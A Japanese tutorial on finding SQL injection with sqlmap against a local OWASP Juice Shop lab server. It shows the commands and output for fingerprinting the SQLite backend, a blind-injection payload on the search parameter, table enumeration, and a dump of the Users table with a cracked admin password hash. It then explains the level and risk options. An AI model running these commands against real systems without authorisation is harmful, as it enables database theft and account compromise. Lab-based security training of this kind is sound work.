やられサーバでSQLインジェクションの脆弱性を見つける
SQLインジェクションの基本については、個人サイトを見ていただき、この記事では実際にSQLインジェクションの脆弱性を見つけていこうと思います。脆弱性診断ではBurpSuiteなどを使うと思いますが、今回は自動ツールである、SQLmap を使っていきます。
個人サイトでのSQLインジェクション記事1
個人サイトでのSQLインジェクション記事2SQLmapとは
SQLmap は、SQLインジェクションの脆弱性を自動的に検出および悪用するためのオープンソースの侵入テストツールです。Webアプリケーションの入力フォームなどに不正なSQL文を挿入することで、データベースへの不正アクセスやデータの改ざん、漏洩などを引き起こすSQLインジェクションと呼ばれる攻撃がありますが、SQLmapは、この攻撃手法を自動化し、効率的に脆弱性を発見するためのツールとして広く利用されています。
SQLmap
今回の構成
今回必要なものは、脆弱性があるサーバ(通称: やられサーバ)とSQLmapの2つです。
やられサーバは、OWASP Juice Shopを使っていきます。
楽なのでDockerを使って動かします。
OWASP Juice Shopは最終的にサイトが見れます。
あとは同サーバ内にSQLmapをインストールするだけです。
データベース製品名とバージョンを探る
早速、SQLmapを使っていきます。まずSQLインジェクションは一般的に入力欄で見つかります。よって商品検索のURL対して実行してみます。
--batch
は使用している DBMS とバージョンを見つけるオプション
--banner
は対話型オプションを全てデフォルトで進めてくれるオプション
$ python sqlmap.py -u http://192.168.0.86:3000/#/search?q=apple --batch --banner
___
__H__
___ ___["]_____ ___ ___ {1.8.10.1#dev}
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[21:57:41] [INFO] testing connection to the target URL
[21:57:41] [INFO] testing if the target URL content is stable
[21:57:41] [INFO] target URL content is stable
[21:57:41] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). You are advised to rerun with '--crawl=2'
[*] ending @ 21:57:41 /2024-10-28/
実行してみましたが、うまく検出できませんでした。
そこで、ブラウザの開発者ツールを使って、実際のURLを確認してみます。
http://192.168.0.86:3000/rest/products/search?q=
が実際に実行されているようです。
URLを/rest/products/search?q=
に変更して再度実行してみます。
$ python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --batch --banner
___
__H__
___ ___[.]_____ ___ ___ {1.8.10.1#dev}
|_ -| . ["] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[22:04:40] [WARNING] provided value for parameter 'q' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[22:04:40] [INFO] resuming back-end DBMS 'sqlite'
[22:04:40] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=banana%' AND 3502=3502 AND 'fMUg%'='fMUg
---
[22:04:40] [INFO] the back-end DBMS is SQLite
[22:04:40] [INFO] fetching banner
[22:04:40] [INFO] resumed: 3.44.2
back-end DBMS: SQLite
banner: '3.44.2'
今度はちゃんとデータベース名とバージョンが検出できました。
SQLiteの3.44.2です。
また boolenベースのブラインドSQLインジェクションの脆弱性が検出されてます。
---
Parameter: q (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=banana%' AND 3502=3502 AND 'fMUg%'='fMUg
---
ペイロードもちゃんと出力されるのはよいですね。
テーブル一覧の取得
今度はどんなテーブルがあるのか、SQLmapで探っていきます。
$ python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --tables --banner
___
__H__
___ ___[,]_____ ___ ___ {1.8.10.1#dev}
|_ -| . ['] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
中略
<current>
[20 tables]
+-------------------+
| Addresses |
| BasketItems |
| Baskets |
| Captchas |
| Cards |
| Challenges |
| Complaints |
| Deliveries |
| Feedbacks |
| ImageCaptchas |
| Memories |
| PrivacyRequests |
| Products |
| Quantities |
| Recycles |
| SecurityAnswers |
| SecurityQuestions |
| Users |
| Wallets |
| sqlite_sequence |
+-------------------+
一発でテーブル一覧が取得できました。怖いですね。
このテーブルだとUsersテーブルやWalletsテーブルが気になります。
Usersテーブルのデータを取得
$ python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --batch --dump --batch --dump -D SQLite_masterdb -T Users --threads 5
___
__H__
___ ___[,]_____ ___ ___ {1.8.10.1#dev}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[22:19:55] [INFO] starting dictionary-based cracking (sha256_generic_passwd)
Database: <current>
Table: Users
[21 entries]
| id | role | email | isActive | password | username | createdAt | deletedAt | updatedAt | totpSecret | deluxeToken | lastLoginIp | profileImage |
|----|-------|---------------------|----------|-----------------------------------------|----------|----------------------------|-----------|----------------------------|------------|-------------|-------------|------------------------------------------------|
| 9 | admin | J12934@juice-sh.op | 1 | 0192023a7bbd73250516f069df18b500 (admin123) | <blank> | 2024-10-27 10:07:45.533 +00:00 | NULL | 2024-10-27 10:07:45.533 +00:00 | <blank> | <blank> | <blank> | assets/public/images/uploads/defaultAdmin.png |
はい、ついにデータベースの認証情報まで取れちゃいました。
実際にSQLインジェクションを探してみる
--technique=BEUSTQ
を使うことで、SQLインジェクションの種類ごとにSQLインジェクションの脆弱性を探すことができます。
BEUSTQのそれぞれの意味はこちら
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
$ python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --technique=BEUSTQ
SQLインジェクションを検出できないとき
SQLインジェクションを検出できないときは、上記の --technique
でSQLインジェクションの種類を変えたり、これから紹介する risk と level を変えることで検出を試みます。
levelとは
Level は脆弱性をどこまで深堀って調べるかの度合いです。Level1よりLevel5のほうがより深く調査しますが、時間がかかります。
使用例
python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --level 2
Level 1
sqlmapはすべてのGETパラメータとPOSTパラメータをテストします。したがって、どのレベルを選んでも、sqlmapに特に指示しない限り、GETとPOSTパラメータはデフォルトで常にテストされます。
Level 2
このレベルでは、SQLインジェクションの脆弱性についてHTTPクッキーヘッダも調べ始めます。
Level 3
このレベルでは、2つの新しいタイプのヘッダーが追加されます。
HTTP User-Agentヘッダー
HTTP Refererヘッダー
つまり、このレベルを含めることで、レベル1+レベル2+レベル3をテストすることになります。
Level 4
レベル4は、他のレベルと比較して、必ずしも新しいヘッダをテストするわけではなく、特定のタイプの技術に対してより多くのペイロードを実装することがほとんどです。
Level 5
最後に、最も高いレベルでは、SQLインジェクションをテストするためにHTTP Hostヘッダを追加します。
riskとは
riskとはどこまでデータベースに影響を与えて調査するかの度合いです。
使用例
python sqlmap.py -u http://192.168.0.86:3000/rest/products/search?q= --level 2 --risk 2
risk 1
最初のレベルであるrisk1は、データベースやアプリケーションに損害を与えないことを目的としています。これはすべてのriskの中で最も害が少ないため、開始するには最適であり、デフォルト値となっています。
risk 2
2番目のriskでは、時間ベースの SQL インジェクションクエリが大量に追加されます。これにより、データベースの速度が低下したり、場合によってはダウンしたりする可能性があります。したがって、このリスクレベルを使用する場合は注意してください。
risk 3
3番目と最後のリスクレベルは、ORベースのSQLインジェクションテストを追加します。これが最も高いリスクレベルにある理由は、ある種のクエリに OR ペイロードを注入すると、データベーステーブルのエントリを実際に更新してしまう可能性があるからです。もし本番環境でこのようなことをすれば、悲惨な結果を招く可能性があります。
まとめ
SQLmapを使うことで簡単にSQLインジェクションの脆弱性を見つけることができます。しかしツールですので、様々なオプションを使い分けることに習熟する必要があります。
Discussion